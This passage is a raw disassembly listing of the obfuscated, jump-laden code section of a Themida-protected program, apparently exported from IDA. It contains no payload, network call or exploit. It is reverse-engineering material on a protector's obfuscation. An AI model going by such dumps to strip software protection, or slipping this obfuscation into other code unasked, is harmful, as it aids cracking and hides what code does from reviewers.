sub ebx, 4EDF5E76h
not ebx
or ebx, 46F155BEh
xor ebx, 69053128h
or ecx, ebx
jmp loc_55A208
; ---------------------------------------------------------------------------
loc_551333: ; CODE XREF: Themida_:005576E1j
push esi
jmp loc_559C1C
; ---------------------------------------------------------------------------
loc_551339: ; CODE XREF: Themida_:00552A30j
add ebx, 5FB069B7h
add ebx, esi
jmp loc_55A696
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4120h
mov [esp], ebp
mov ebp, esp
jmp loc_557806
; ---------------------------------------------------------------------------
loc_551359: ; CODE XREF: Themida_:0055A1CBj
or ebp, 2525147Ch
add ebp, 39212F4Ah
and ebp, 259D1ED4h
xor ebp, 3AF22B7Ah
mov eax, ebp
jmp loc_55473C
; ---------------------------------------------------------------------------
loc_551378: ; CODE XREF: Themida_:005506BAj
add al, bh
push dword ptr [esp]
pop ebx
add esp, 4
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edx
push 7223h
mov [esp], eax
mov al, 81h
mov dl, al
mov eax, [esp]
jmp loc_54FFA8
; ---------------------------------------------------------------------------
loc_5513AB: ; CODE XREF: Themida_:0055839Aj
mov eax, esp
add eax, 4
sub esp, 4
jmp loc_555F9A
; ---------------------------------------------------------------------------
loc_5513BD: ; CODE XREF: Themida_:00557AEFj
sub dh, 26h
xor bl, dh
pop edx
neg bl
push ecx
mov ch, 0B5h
jmp loc_54FB52
; ---------------------------------------------------------------------------
loc_5513CD: ; CODE XREF: Themida_:00555B8Aj
add esp, 4
push edi
mov edi, 4
add edx, edi
pop edi
push ebx
push ecx
mov ecx, 2
mov ebx, ecx
mov ecx, [esp]
jmp loc_54F66F
; ---------------------------------------------------------------------------
loc_5513EA: ; CODE XREF: Themida_:005544F0j
pop esp
add ebx, 169104B8h
jmp loc_558561
; ---------------------------------------------------------------------------
loc_5513F6: ; CODE XREF: Themida_:00551DFDj
mov cl, bh
pop ebx
add cl, 0F5h
add cl, 76h
push ax
push edx
mov dh, 0B2h
jmp loc_55965C
; ---------------------------------------------------------------------------
loc_551409: ; CODE XREF: Themida_:0054F501j
pop esp
jmp loc_551129
; ---------------------------------------------------------------------------
loc_55140F: ; CODE XREF: Themida_:005515A4j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push edx
mov edx, 3BCB15F8h
jmp loc_55A875
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
push esi
jmp loc_558EEB
; ---------------------------------------------------------------------------
loc_551430: ; CODE XREF: Themida_:00558061j
pop edi
jmp loc_555C9B
; ---------------------------------------------------------------------------
loc_551436: ; CODE XREF: Themida_:00553FF5j
pop ecx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebx
jmp loc_5525F9
; ---------------------------------------------------------------------------
loc_551446: ; CODE XREF: Themida_:0054F84Aj
pop eax
mov edi, [esp]
add esp, 4
xchg ecx, edi
jmp loc_557214
; ---------------------------------------------------------------------------
loc_551454: ; CODE XREF: Themida_:00557022j
mov [esp], ebp
jmp loc_5594C9
; ---------------------------------------------------------------------------
loc_55145C: ; CODE XREF: Themida_:00550EA9j
push esp
push dword ptr [esp]
mov ebp, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add esp, 4
add ebp, 4
push edx
mov edx, 2
jmp loc_5593E8
; ---------------------------------------------------------------------------
loc_55148A: ; CODE XREF: Themida_:00559147j
pop ebp
jmp loc_5561C1
; ---------------------------------------------------------------------------
loc_551490: ; CODE XREF: Themida_:00550284j
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
shr ecx, 0Ah
sub esp, 4
mov [esp], edx
push ebx
pop edx
push 36ADh
mov [esp], esi
push edx
xor dword ptr [esp], 7E6F0528h
pop esi
xor esi, 7E6F0528h
jmp loc_55A1AD
; ---------------------------------------------------------------------------
loc_5514C4: ; CODE XREF: Themida_:00554EEFj
or dh, 0D4h
push ecx
jmp loc_54FD74
; ---------------------------------------------------------------------------
loc_5514CD: ; CODE XREF: Themida_:00559599j
pop ecx
dec edi
xor edi, 37241A85h
xor edi, 1B7F055Ah
jmp loc_5589B2
; ---------------------------------------------------------------------------
loc_5514E0: ; CODE XREF: Themida_:00557519j
mov dword ptr [edx+30h], 22DA63F6h
push eax
mov eax, 30h
add eax, edx
push edx
jmp loc_551B96
; ---------------------------------------------------------------------------
loc_5514F5: ; CODE XREF: Themida_:00555B02j
xchg edi, [esp]
pop esp
imul cx
push small 5CCEh
mov [esp], dx
push ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
push ebx
push ebp
push 48472014h
pop ebp
sub ebp, 0E4EA0451h
jmp loc_553436
; ---------------------------------------------------------------------------
loc_55151F: ; CODE XREF: Themida_:0055327Dj
xor ecx, 36C0EE1h
jmp loc_559495
; ---------------------------------------------------------------------------
loc_55152A: ; CODE XREF: Themida_:005570C9j
shl ecx, 1
jmp loc_5588C0
; ---------------------------------------------------------------------------
loc_551531: ; CODE XREF: Themida_:0054F4BEj
mov edx, ebx
mov ebx, [esp]
jmp loc_5546C1
; ---------------------------------------------------------------------------
loc_55153B: ; CODE XREF: Themida_:00552CC9j
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_555F92
; ---------------------------------------------------------------------------
loc_551547: ; CODE XREF: Themida_:00559CAFj
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add esp, 4
or edx, eax
shl edx, 1
push edx
jmp loc_556FF4
; ---------------------------------------------------------------------------
loc_551567: ; CODE XREF: Themida_:00556160j
push ebp
jmp loc_55414F
; ---------------------------------------------------------------------------
loc_55156D: ; CODE XREF: Themida_:0054F5FAj
add ebp, ebx
jmp loc_55126E
; ---------------------------------------------------------------------------
loc_551574: ; CODE XREF: Themida_:0054FD2Aj
mov ebp, esp
jmp loc_55492B
; ---------------------------------------------------------------------------
loc_55157B: ; CODE XREF: Themida_:00558A10j
mov [esp], edi
mov edi, 0EA32116h
sub edi, 54121751h
xor edi, 6CE86AE0h
or edi, 3BF10C5Ch
xor edi, 0FFF96F79h
add ecx, edi
pop edi
add ecx, 4
jmp loc_55140F
; ---------------------------------------------------------------------------
loc_5515A9: ; CODE XREF: Themida_:005585B7j
pop esi
pop edi
not edi
xchg edi, esi
jmp loc_550061
; ---------------------------------------------------------------------------
loc_5515B4: ; CODE XREF: Themida_:005578C1j
sub ebx, eax
mov eax, [esp]
add esp, 4
shl ebx, 6
dec ebx
shl ebx, 6
add ebx, 17F149DEh
push edx
mov edx, 0F5586862h
jmp loc_55807C
; ---------------------------------------------------------------------------
loc_5515D7: ; CODE XREF: Themida_:0055AD2Ej
mov eax, 4
sub ebp, 7F95345Ch
add ebp, eax
add ebp, 7F95345Ch
mov eax, [esp]
add esp, 4
add ebp, 4
jmp loc_5500DE
; ---------------------------------------------------------------------------
loc_5515FB: ; CODE XREF: Themida_:00550A2Fj
pop esp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_551601: ; CODE XREF: Themida_:00557502j
push ebx
push 0E779EDh
mov ebx, [esp]
jmp loc_551F93
; ---------------------------------------------------------------------------
loc_55160F: ; CODE XREF: Themida_:0055AFBFj
mov esp, [esp]
imul ecx, eax
jmp loc_558C3C
; ---------------------------------------------------------------------------
loc_55161A: ; CODE XREF: Themida_:00550A37j
sub dh, 5Fh
jmp loc_552042
; ---------------------------------------------------------------------------
loc_551622: ; CODE XREF: Themida_:00557A0Cj
push 3C34h
mov [esp], ecx
mov ecx, 0D16B67h
push edi
sub esp, 4
jmp loc_556927
; ---------------------------------------------------------------------------
loc_551638: ; CODE XREF: Themida_:0054F472j
add ebp, 9322BA05h
add edx, ebp
pop ebp
push eax
mov eax, 1EFB77D0h
push edi
push esi
mov esi, 5BB0609Bh
mov edi, esi
pop esi
sub eax, edi
pop edi
push edx
mov edx, 55922BA0h
sub edx, 5536D725h
xor eax, edx
jmp loc_553535
; ---------------------------------------------------------------------------
loc_551667: ; CODE XREF: Themida_:00557D87j
mov esp, [esp]
jmp loc_5592DC
; ---------------------------------------------------------------------------
loc_55166F: ; CODE XREF: Themida_:0055637Dj
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
mov edx, esp
push ecx
mov ecx, 4
add edx, ecx
pop ecx
jmp loc_553D09
; ---------------------------------------------------------------------------
loc_551689: ; CODE XREF: Themida_:0055982Aj
add esp, 4
sub al, bl
add al, 52h
add al, 4Bh
push ecx
jmp loc_553EFD
; ---------------------------------------------------------------------------
loc_55169B: ; CODE XREF: Themida_:0054EB34j
sub esp, 4
mov [esp], ebx
mov ebx, 4
sub edi, 12D562D9h
add edi, ebx
jmp loc_551229
; ---------------------------------------------------------------------------
loc_5516B3: ; CODE XREF: Themida_:005503B0j
add dword ptr [esp], 30935974h
jmp loc_557E5D
; ---------------------------------------------------------------------------
loc_5516BF: ; CODE XREF: Themida_:00550B7Fj
add esi, 1
sub esi, 76183B52h
push ecx
mov ecx, 33C94D47h
or ecx, 20E95D93h
jmp loc_553072
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
jmp loc_552439
; ---------------------------------------------------------------------------
loc_5516E6: ; CODE XREF: Themida_:00559076j
sub bl, 8Ch
add bl, 0B4h
add bl, 95h
add bl, al
jmp loc_550935
; ---------------------------------------------------------------------------
loc_5516F6: ; CODE XREF: Themida_:00557E09j
push esi
mov esi, 7EC95E1Ch
sub esi, 442B534Eh
jmp loc_5561DD
; ---------------------------------------------------------------------------
loc_551707: ; CODE XREF: Themida_:00553D57j
xor edx, ebp
pop ebp
not edx
jmp loc_557C58
; ---------------------------------------------------------------------------
loc_551711: ; CODE XREF: Themida_:0054F8E7j
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_559085
; ---------------------------------------------------------------------------
loc_551725: ; CODE XREF: Themida_:00550FF9j
push 1EBh
mov [esp], esi
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_5580C6
; ---------------------------------------------------------------------------
loc_551739: ; CODE XREF: Themida_:00553217j
and ebx, 1E7319E3h
add ebx, 0EDFE68FEh
sub edi, ebx
jmp loc_550626
; ---------------------------------------------------------------------------
mov ax, [esp]
push 6CD5h
mov [esp], eax
push esp
jmp loc_5530FB
; ---------------------------------------------------------------------------
loc_55175E: ; CODE XREF: Themida_:00554FC8j
pop edx
push esi
mov esi, 4
sub ebp, esi
jmp loc_5533B4
; ---------------------------------------------------------------------------
loc_55176C: ; CODE XREF: Themida_:00553546j
sub eax, 0A475605h
pop ecx
jmp loc_554506
; ---------------------------------------------------------------------------
loc_551777: ; CODE XREF: Themida_:0055971Bj
push ebx
jmp loc_559EBD
; ---------------------------------------------------------------------------
loc_55177D: ; CODE XREF: Themida_:0054F0BAj
mov [esp], edx
mov edx, 129E6510h
xor [esp+4], edx
push dword ptr [esp]
jmp loc_554A25
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5517A1: ; CODE XREF: Themida_:00550693j
pop ebp
xor edi, 77DE1BC1h
push edi
xor dword ptr [esp], 13A2350h
jmp loc_55264A
; ---------------------------------------------------------------------------
loc_5517B5: ; CODE XREF: Themida_:00552532j
mov ebx, [esp]
add esp, 4
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_5588F1
; ---------------------------------------------------------------------------
loc_5517D2: ; CODE XREF: Themida_:005521C1j
mov dl, 88h
push ax
mov al, 57h
xor dl, al
pop ax
sub esp, 4
mov [esp], ecx
mov cl, 0B0h
shl cl, 7
shr cl, 4
add cl, 5Eh
add dl, cl
pop ecx
push ebx
push 1E9Ch
jmp loc_558DFA
; ---------------------------------------------------------------------------
loc_5517FB: ; CODE XREF: Themida_:00553B56j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_551800: ; CODE XREF: Themida_:005581AFj
jmp loc_5502AA
; ---------------------------------------------------------------------------
loc_551805: ; CODE XREF: Themida_:0054FC4Aj
add bl, 81h
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_550A6B
; ---------------------------------------------------------------------------
loc_551813: ; CODE XREF: Themida_:00554661j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_551818: ; CODE XREF: Themida_:0055A0CDj
mov ebx, 0FFFFFFFFh
add edx, ebx
pop ebx
push ebp
mov ebp, 2CB92C2Fh
sub edx, 630063A7h
sub edx, ebp
add edx, 630063A7h
pop ebp
add ecx, edx
pop edx
xchg ecx, [esp]
pop esp
idiv ecx
push ebp
push esp
pop ebp
push 60AFh
mov [esp], edx
push esi
mov esi, 352317C2h
inc esi
push ebx
mov ebx, 2EC919CDh
shl ebx, 4
sub ebx, 0C45D776Bh
sub esi, ebx
jmp loc_5562D3
; ---------------------------------------------------------------------------
loc_551866: ; CODE XREF: Themida_:00551C87j
pop esp
push dword ptr [esp]
pop eax
jmp loc_55AC38
; ---------------------------------------------------------------------------
loc_551870: ; CODE XREF: Themida_:00554889j
shl ebx, 1
push edx
jmp loc_559339
; ---------------------------------------------------------------------------
loc_551878: ; CODE XREF: Themida_:005530DCj
add ebx, eax
mov eax, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
push 49F1h
jmp loc_555EF6
; ---------------------------------------------------------------------------
loc_551893: ; CODE XREF: Themida_:00558E33j
sub eax, 17AD30A8h
add eax, ebp
push ecx
mov ecx, 4B14229h
add ecx, 7E5C6DEFh
neg ecx
add ecx, 453A2163h
neg ecx
sub ecx, 3A806F94h
jmp loc_559606
; ---------------------------------------------------------------------------
loc_5518BB: ; CODE XREF: Themida_:00555B7Cj
push small 2516h
mov [esp], dx
push ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5518CB: ; CODE XREF: Themida_:00558E7Aj
add esp, 4
xor edi, ebp
mov ebp, [esp]
add esp, 4
and eax, edi
mov edi, [esp]
add esp, 4
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push 745h
jmp loc_555C2B
; ---------------------------------------------------------------------------
loc_5518F2: ; CODE XREF: Themida_:005595B6j
add ecx, 0FFFFFFFFh
add ecx, 0FFFFFFFFh
sub ecx, 820C705Fh
add eax, ecx
jmp loc_55B150
; ---------------------------------------------------------------------------
loc_551908: ; CODE XREF: Themida_:00551BC2j
pop edx
add edx, 372702E2h
jmp loc_550D05
; ---------------------------------------------------------------------------
loc_551914: ; CODE XREF: Themida_:00552D8Bj
add esp, 4
add esp, 4
jmp loc_55AFD6
; ---------------------------------------------------------------------------
loc_55191F: ; CODE XREF: Themida_:00550F97j
push edx
mov edx, 4
add ecx, edx
pop edx
xchg ecx, [esp]
pop esp
mov edx, [esp]
add esp, 4
push edx
jmp loc_55655A
; ---------------------------------------------------------------------------
loc_551938: ; CODE XREF: Themida_:00554618j
mov edi, ebp
pop ebp
mov edx, edi
pop edi
push edx
mov edx, 27A11745h
not edx
xor edx, 224F5716h
jmp loc_5569CB
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push ecx
mov ecx, 7F9939BAh
not ecx
shl ecx, 7
add ecx, 0CC9CDD84h
sub ebx, 200D5E3Ah
add ebx, ecx
add ebx, 200D5E3Ah
mov ecx, [esp]
jmp loc_551DC9
; ---------------------------------------------------------------------------
loc_55198B: ; CODE XREF: Themida_:00557E58j
mov ecx, 5EC725DAh
not ecx
jmp loc_55991D
; ---------------------------------------------------------------------------
loc_551997: ; CODE XREF: Themida_:0055B077j
mov [esp], ecx
push eax
push 3270175Ah
jmp loc_54ED11
; ---------------------------------------------------------------------------
loc_5519A5: ; CODE XREF: Themida_:005563B9j
pop esp
push ecx
push esp
jmp loc_5558BC
; ---------------------------------------------------------------------------
loc_5519AD: ; CODE XREF: Themida_:00553738j
mov edx, 56765F3h
and edx, 0CB25E3Fh
jmp loc_559F10
; ---------------------------------------------------------------------------
loc_5519BD: ; CODE XREF: Themida_:0055A794j
add eax, 0FFFFFFFFh
not eax
shr eax, 3
push ebx
mov ebx, 9D7FE2B0h
xor eax, ebx
jmp loc_559FA8
; ---------------------------------------------------------------------------
loc_5519D2: ; CODE XREF: Themida_:0055596Fj
add ebp, ebx
pop ebx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
push 56AAh
mov [esp], edi
push 80h
mov edi, [esp]
jmp loc_5507D9
; ---------------------------------------------------------------------------
loc_5519F6: ; CODE XREF: Themida_:0054EE64j
pop ebx
add edx, 0ADCACF50h
add eax, 3AAC3E89h
add eax, edx
sub eax, 3AAC3E89h
pop edx
push esi
jmp loc_550900
; ---------------------------------------------------------------------------
loc_551A10: ; CODE XREF: Themida_:005569B5j
push ecx
mov ecx, 58F03EDh
jmp loc_557E4C
; ---------------------------------------------------------------------------
loc_551A1B: ; CODE XREF: Themida_:0054F216j
pop esp
mov [esp], edx
push esp
pop edx
push ebp
mov ebp, 28F61DCDh
shr ebp, 3
or ebp, 2A386B3Ch
or ebp, 0AB42DCBh
inc ebp
shl ebp, 8
sub ebp, 0BEEFFFFCh
add edx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
push esi
jmp loc_55382B
; ---------------------------------------------------------------------------
loc_551A52: ; CODE XREF: Themida_:0054F899j
pop esp
and ecx, edi
mov edi, [esp]
push edi
jmp loc_559F61
; ---------------------------------------------------------------------------
loc_551A5E: ; CODE XREF: Themida_:00553308j
pop ecx
add ebx, eax
sub ebx, 75496B84h
pop eax
xchg ebx, [esp]
jmp loc_558E3E
; ---------------------------------------------------------------------------
loc_551A70: ; CODE XREF: Themida_:00554856j
push esp
jmp loc_558B43
; ---------------------------------------------------------------------------
loc_551A76: ; CODE XREF: Themida_:00550843j
mov ch, 81h
mov al, ch
pop ecx
push 5324h
mov [esp], ebx
mov bh, al
mov dl, bh
pop ebx
mov eax, [esp]
push ebp
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
mov ecx, [esp]
add esp, 4
add ebp, 4
push 343Ah
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
or dl, 0C9h
jmp loc_54F733
; ---------------------------------------------------------------------------
loc_551ABB: ; CODE XREF: Themida_:005562DDj
mov edx, esi
pop esi
sub edx, 48433B77h
sub edx, 9C92112h
dec edx
not edx
neg edx
jmp loc_558FB0
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
push esp
jmp loc_552F40
; ---------------------------------------------------------------------------
loc_551AF3: ; CODE XREF: Themida_:0054F67Bj
add edx, 3C394FC7h
add edx, ebx
sub edx, 3C394FC7h
sub edx, 581E1EDEh
pop ebx
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_54EC18
; ---------------------------------------------------------------------------
loc_551B19: ; CODE XREF: Themida_:0054FDA6j
sub edi, 4
xchg edi, [esp]
jmp loc_551D41
; ---------------------------------------------------------------------------
loc_551B27: ; CODE XREF: Themida_:00559E02j
sub esp, 4
mov [esp], esi
mov esi, 1F5C7837h
shl esi, 1
add esi, 0C1470F94h
sub ebx, esi
mov esi, [esp]
add esp, 4
xor ebx, [esp]
jmp loc_553DE4
; ---------------------------------------------------------------------------
loc_551B4A: ; CODE XREF: Themida_:0055441Aj
pop esi
jmp loc_55998F
; ---------------------------------------------------------------------------
loc_551B50: ; CODE XREF: Themida_:00550196j
mov ebx, [esp]
add esp, 4
popa
popf
jmp locret_558851
; ---------------------------------------------------------------------------
loc_551B5D: ; CODE XREF: Themida_:00555E9Fj
mov edx, esp
push edi
push ebx
mov ebx, 2EFA01CBh
jmp loc_55388E
; ---------------------------------------------------------------------------
loc_551B6B: ; CODE XREF: Themida_:00555D58j
xor eax, ecx
push 19E4h
mov [esp], edx
mov edx, esp
jmp loc_55AA24
; ---------------------------------------------------------------------------
loc_551B7C: ; CODE XREF: Themida_:005571C9j
push 543Eh
mov [esp], ebx
sub esp, 4
mov [esp], edx
push edi
jmp loc_5586A5
; ---------------------------------------------------------------------------
lodsb
jmp loc_55B1E0
; ---------------------------------------------------------------------------
loc_551B96: ; CODE XREF: Themida_:005514F0j
mov edx, 0
jmp loc_556B36
; ---------------------------------------------------------------------------
loc_551BA0: ; CODE XREF: Themida_:0055ADEFj
add edi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_551297
; ---------------------------------------------------------------------------
loc_551BBD: ; CODE XREF: Themida_:00550666j
push 4B7A2CE8h
jmp loc_551908
; ---------------------------------------------------------------------------
loc_551BC7: ; CODE XREF: Themida_:00559B06j
pop ebx
xchg edi, [esp]
pop esp
pop dword ptr [esp]
pop esp
ror word ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_551BDA: ; CODE XREF: Themida_:005589F2j
pop edi
sub esi, 5504705Eh
jmp loc_554A1E
; ---------------------------------------------------------------------------
loc_551BE6: ; CODE XREF: Themida_:0055765Aj
mov ebp, edi
push dword ptr [esp]
pop edi
add esp, 4
and eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
or eax, eax
jz loc_555B2F
push dword ptr [edi+1Ch]
push dword ptr [esp]
jmp loc_5556EF
; ---------------------------------------------------------------------------
loc_551C0B: ; CODE XREF: Themida_:005564BFj
mov edx, 45E871B5h
shr edx, 3
push ecx
jmp loc_54F36A
; ---------------------------------------------------------------------------
loc_551C19: ; CODE XREF: Themida_:0055A87Cj
shr edx, 7
jmp loc_5525A9
; ---------------------------------------------------------------------------
loc_551C21: ; CODE XREF: Themida_:0054FC3Dj
mov esi, ebx
pop ebx
add esi, 1C7821A6h
jmp loc_54FF36
; ---------------------------------------------------------------------------
loc_551C2F: ; CODE XREF: Themida_:005538E6j
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 66B7h
mov [esp], ebx
mov ebx, esp
push ebp
push edx
mov edx, 23374975h
push esi
mov esi, 27AF3227h
not esi
jmp loc_55AE7D
; ---------------------------------------------------------------------------
loc_551C59: ; CODE XREF: Themida_:00557FA3j
push 221h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_552305
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_550F9C
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_550F16
; ---------------------------------------------------------------------------
loc_551C81: ; CODE XREF: Themida_:00557355j
add edi, ecx
pop ecx
xchg edi, [esp]
jmp loc_551866
; ---------------------------------------------------------------------------
loc_551C8C: ; CODE XREF: Themida_:00552A81j
add eax, 4
add eax, 4
push 794Ah
mov [esp], eax
push dword ptr [esp+4]
jmp loc_556901
; ---------------------------------------------------------------------------
loc_551CA7: ; CODE XREF: Themida_:0055AEF9j
pop ecx
add esp, 4
jmp loc_55633C
; ---------------------------------------------------------------------------
loc_551CB3: ; CODE XREF: Themida_:00559BE2j
add edx, esi
pop esi
jmp loc_551F60
; ---------------------------------------------------------------------------
loc_551CBB: ; CODE XREF: Themida_:0055A3F3j
xor ebx, 185D02B1h
not ebx
sub ebx, 0E777C9B3h
sub edi, 15006B4Dh
add edi, ebx
push ebp
push eax
push 1D31789Ah
pop eax
add eax, 6C2A1759h
sub eax, 51593173h
add eax, 2A03EBCAh
mov ebp, eax
jmp loc_5568E6
; ---------------------------------------------------------------------------
loc_551CEF: ; CODE XREF: Themida_:0054F72Ej
add esp, 4
mov edx, [esp]
add esp, 4
push edi
jmp loc_54F6FB
; ---------------------------------------------------------------------------
loc_551D01: ; CODE XREF: Themida_:00554684j
xor [esp], ebp
jmp loc_555B75
; ---------------------------------------------------------------------------
loc_551D09: ; CODE XREF: Themida_:00558ED0j
mov edi, esp
push eax
mov eax, 4
add edi, eax
jmp loc_553D86
; ---------------------------------------------------------------------------
loc_551D18: ; CODE XREF: Themida_:005573ACj
mov ecx, 69A16BD7h
xor esi, ecx
jmp loc_55674B
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
mov eax, [esp]
push edi
push esp
mov edi, [esp]
push ebp
sub esp, 4
jmp loc_553D8D
; ---------------------------------------------------------------------------
loc_551D3B: ; CODE XREF: Themida_:005526A3j
inc ebp
jmp loc_55966D
; ---------------------------------------------------------------------------
loc_551D41: ; CODE XREF: Themida_:00551B22j
pop esp
mov [esp], esp
jmp loc_54F96B
; ---------------------------------------------------------------------------
loc_551D4A: ; CODE XREF: Themida_:00555312j
pop esi
sub edx, 35E50B5Fh
sub edx, ecx
jmp loc_555EAA
; ---------------------------------------------------------------------------
loc_551D58: ; CODE XREF: Themida_:0055A53Dj
mov [esp], ax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_551D61: ; CODE XREF: Themida_:0055603Ej
push esi
jmp loc_557874
; ---------------------------------------------------------------------------
loc_551D67: ; CODE XREF: Themida_:00554BEDj
mov ebx, [esp]
add esp, 4
add ebp, ecx
mov ecx, [esp]
add esp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_551D8C: ; CODE XREF: Themida_:00557545j
mov ebp, 2E01D55Ah
add edx, ebp
jmp loc_5582A3
; ---------------------------------------------------------------------------
loc_551D98: ; CODE XREF: Themida_:00550D91j
xor ebx, eax
jmp loc_5575B6
; ---------------------------------------------------------------------------
loc_551D9F: ; CODE XREF: Themida_:00553FDDj
sub ebx, 1CBB3085h
pop eax
xchg ebx, [esp]
pop esp
bswap eax
push ebp
jmp loc_5521C6
; ---------------------------------------------------------------------------
loc_551DB2: ; CODE XREF: Themida_:0055B18Cj
inc cl
push ebx
mov bh, 5Ah
jmp loc_54F7CF
; ---------------------------------------------------------------------------
loc_551DBC: ; CODE XREF: Themida_:0055266Fj
push ebp
mov ebp, 19B22D82h
xor edi, ebp
jmp loc_5532CD
; ---------------------------------------------------------------------------
loc_551DC9: ; CODE XREF: Themida_:00551986j
add esp, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_551266
; ---------------------------------------------------------------------------
loc_551DDA: ; CODE XREF: Themida_:00551FCAj
pop eax
jmp loc_55AA39
; ---------------------------------------------------------------------------
loc_551DE0: ; CODE XREF: Themida_:0055750Ej
pop ecx
pop dword ptr [esp]
pop esp
push edx
mov dh, 0B5h
dec dh
push ecx
push ebx
mov bh, 0ACh
not bh
sub bh, 4Eh
neg bh
and bh, 5Ch
inc bh
sub bh, 0C7h
jmp loc_5513F6
; ---------------------------------------------------------------------------
loc_551E02: ; CODE XREF: Themida_:00557905j
pop ecx
pop ebx
push ecx
mov ecx, 4
jmp loc_5578C6
; ---------------------------------------------------------------------------
loc_551E0F: ; CODE XREF: Themida_:00555239j
mov al, dl
pop edx
sub bl, al
pop eax
sub bl, 80h
add bl, al
add bl, 80h
jmp loc_55504A
; ---------------------------------------------------------------------------
loc_551E22: ; CODE XREF: Themida_:00550083j
push eax
mov eax, 0
add eax, edx
add dword ptr [eax], 1
pop eax
pop edx
loc_551E32: ; CODE XREF: Themida_:0055AF9Dj
push 35A0h
mov [esp], ebx
push dword ptr [esp]
jmp loc_54EC95
; ---------------------------------------------------------------------------
loc_551E42: ; CODE XREF: Themida_:005580B9j
add ecx, edi
pop edi
xchg ecx, [esp]
pop esp
jmp loc_557253
; ---------------------------------------------------------------------------
loc_551E4E: ; CODE XREF: Themida_:0054F365j
sub esi, 5B5A450Dh
pop edi
xchg esi, [esp]
pop esp
movzx ecx, al
push edi
mov edi, esp
push ebx
mov ebx, 198874A1h
inc ebx
not ebx
not ebx
xor ebx, 198874A6h
add edi, ebx
pop ebx
push eax
push 4657h
mov [esp], esi
mov esi, 4
push ecx
push esi
xor dword ptr [esp], 1A761087h
pop ecx
push eax
mov eax, 439862EDh
sub eax, 4E7B5DD1h
shl eax, 7
or eax, 41CA7D03h
neg eax
sub eax, 15BEF076h
xor ecx, eax
mov eax, [esp]
add esp, 4
mov eax, ecx
jmp loc_555885
; ---------------------------------------------------------------------------
loc_551EB7: ; CODE XREF: Themida_:005558B7j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_554BA5
; ---------------------------------------------------------------------------
loc_551ECA: ; CODE XREF: Themida_:00553938j
pop eax
xor eax, ebx
jmp loc_550C04
; ---------------------------------------------------------------------------
loc_551ED2: ; CODE XREF: Themida_:0055AF04j
add esi, eax
pop eax
push edx
mov edx, 2EE9076Ah
sub edx, 49892241h
jmp loc_54ED63
; ---------------------------------------------------------------------------
loc_551EE6: ; CODE XREF: Themida_:00558A9Dj
add ecx, 14FB307Eh
push eax
mov eax, 58FAA87Ch
sub ecx, eax
jmp loc_55623C
; ---------------------------------------------------------------------------
loc_551EF9: ; CODE XREF: Themida_:00558D24j
pop esp
mov [esp], ebp
mov ebp, 64615EFFh
push ecx
mov ecx, 7B4707F3h
sub eax, ecx
pop ecx
push ebp
mov ebp, 427864F7h
or ebp, 4DC174F9h
shr ebp, 4
shl ebp, 7
jmp loc_54EFD0
; ---------------------------------------------------------------------------
loc_551F22: ; CODE XREF: Themida_:00553C24j
xor ah, ch
xchg al, ch
push small 11FBh
mov [esp], bx
mov bl, al
not bl
mov al, bl
mov bx, [esp]
add esp, 2
xor ch, al
xor al, ch
xor ch, al
push bx
mov bl, ch
mov ch, ah
mov ah, bl
pop bx
push edx
push ecx
mov cl, ah
mov dl, cl
pop ecx
mov ah, [esp+4]
mov [esp+4], dl
pop edx
jmp loc_54EA5C
; ---------------------------------------------------------------------------
